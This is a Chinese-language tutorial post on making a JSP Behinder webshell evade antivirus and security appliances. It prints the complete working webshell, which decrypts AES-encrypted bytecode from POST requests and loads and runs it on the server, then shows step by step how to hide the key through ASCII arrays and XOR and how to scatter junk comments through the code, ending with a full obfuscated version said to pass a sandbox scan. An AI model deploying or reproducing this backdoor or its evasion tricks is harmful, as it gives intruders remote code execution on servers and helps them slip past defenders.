前言
在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限。然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全设备拦截,因此对webshell文件进行免杀操作是不可或缺的。本处仅对jsp类型的webshell文件进行一个冰蝎马免杀思路的介绍。
思路
在对webshell文件进行免杀操作之前首先得明白,有哪些操作能够使得webshell文件具有免杀的属性。
1、增加注释
2、增加不重要的代码段
3、对代码进行混肴加密
4、对代码进行拆分重组
5、增加反射
……………………
免杀方式千千万,总有一款适合你。简而言之,搞到最后,自己都读不懂自己的代码的时候,恭喜你,免杀了!
本篇文章仅对冰蝎马的免杀方式做一个简单的介绍,主要是介绍免杀jsp马子时候的思路实现。
测试
首先看一个常规的jsp的冰蝎马的代码。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
其在一行里面将整个代码都写了出来,那是相当的乱啊。不过,先看看他的免杀性如何?
对于这个结果也是意料之中,情理之中的了。
咱们先对冰蝎马进行一个格式化的操作,有便于去理解修改,顺手把里面的注释也给删掉。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>
直观的看上去,哪儿最好搞捏?当然是k这里呀!
我们把k里面的数值用ascall码一个一个对照输出出来,虽然完成的结果是一样的,但是多少能够限制杀软理解马子的步伐的吧。
那么问题来了,“e45e329feb5d925b”的ascall值是多少?掰开对照表一个一个看?不可能,绝对不可能,能用代码解决的问题,绝对不可能动手!
这里是一个python的转换代码
s = 'e45e329feb5d925b'
a = []
for i in s:
a.append(ord(i))
print(a)
输出结果为
[101, 52, 53, 101, 51, 50, 57, 102, 101, 98, 53, 100, 57, 50, 53, 98]
那么现在就可以把k的部分改成
String k="";
int[] ee=new int[]{101, 52, 53, 101, 51, 50, 57, 102, 101, 98, 53, 100, 57, 50, 53, 98}
for (int i=0;i < ee.length;i++) {
k=k+ (char) ee[i];
}
经过这样一个转换之后,k的值就会等于“e45e329feb5d925b“,那么这样就OK了嘛?NONONO!
既然都已经转换成ascall码了,那就再做个异或的操作吧。
python的异或代码
s = 'e45e329feb5d925b'
a = []
for i in s:
a.append(ord(i))
for i in range(0, len(a)):
a[i] = a[i] ^ 0x010
print(a)
输出结果为
[117, 36, 37, 117, 35, 34, 41, 118, 117, 114, 37, 116, 41, 34, 37, 114]
那么现在就可以把k的部分改成
String k="";
int[] ee=new int[]{117, 36, 37, 117, 35, 34, 41, 118, 117, 114, 37, 116, 41, 34, 37, 114}
for (int i=0;i < ee.length;i++) {
ee[i]=ee[i] ^ 0x010;
k=k+ (char) ee[i];
}
这么一通操作下来,你以为就能免杀了嘛?免杀哪有那么轻松。
不过可以祭出终极杀招,百试百灵---加注释。
这个加注释可不是加一条两条就可以的,也不是随便加都行的。经过测试,必须加在标点符号之后,于是乎在所有.和,之间都加上注释,代码变成了
<%@page import="java./*YDjdiejmPL*/util./*YDjdiejmPL*/*,/*ksafjKJOIldk*/javax./*YDjdiejmPL*/crypto./*YDjdiejmPL*/*,/*ksafjKJOIldk*/javax./*YDjdiejmPL*/crypto./*YDjdiejmPL*/spec./*YDjdiejmPL*/*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super./*YDjdiejmPL*/defineClass(b,/*ksafjKJOIldk*/0,/*ksafjKJOIldk*/b./*YDjdiejmPL*/length);
}
}%>
<%if (request./*YDjdiejmPL*/getMethod()./*YDjdiejmPL*/equals("POST")){
String k="";
int[] ee=new int[]{117,/*ksafjKJOIldk*/ 36,/*ksafjKJOIldk*/ 37,/*ksafjKJOIldk*/ 117,/*ksafjKJOIldk*/ 35,/*ksafjKJOIldk*/ 34,/*ksafjKJOIldk*/ 41,/*ksafjKJOIldk*/ 118,/*ksafjKJOIldk*/ 117,/*ksafjKJOIldk*/ 114,/*ksafjKJOIldk*/ 37,/*ksafjKJOIldk*/ 116,/*ksafjKJOIldk*/ 41,/*ksafjKJOIldk*/ 34,/*ksafjKJOIldk*/ 37,/*ksafjKJOIldk*/ 114}
for (int i=0;i < ee./*YDjdiejmPL*/length;i++) {
ee[i]=ee[i] ^ 0x010;
k=k+ (char) ee[i];
}
session./*YDjdiejmPL*/putValue("u",/*ksafjKJOIldk*/k);
Cipher c=Cipher./*YDjdiejmPL*/getInstance("AES");
c./*YDjdiejmPL*/init(2,/*ksafjKJOIldk*/new SecretKeySpec(k./*YDjdiejmPL*/getBytes(),/*ksafjKJOIldk*/"AES"));
new U(this./*YDjdiejmPL*/getClass()./*YDjdiejmPL*/getClassLoader())./*YDjdiejmPL*/g(c./*YDjdiejmPL*/doFinal(new sun./*YDjdiejmPL*/misc./*YDjdiejmPL*/BASE64Decoder()./*YDjdiejmPL*/decodeBuffer(request./*YDjdiejmPL*/getReader()./*YDjdiejmPL*/readLine())))./*YDjdiejmPL*/newInstance()./*YDjdiejmPL*/equals(pageContext);
}%>
现在再看看捏?
没有一丝丝的防备~!就免杀了。
附一张之前跑的沙箱结果
jsp的免杀里面还可以加上反射,然后再加上异或之类的操作就更好了。不过弟弟反射没学好,这边就不献丑了。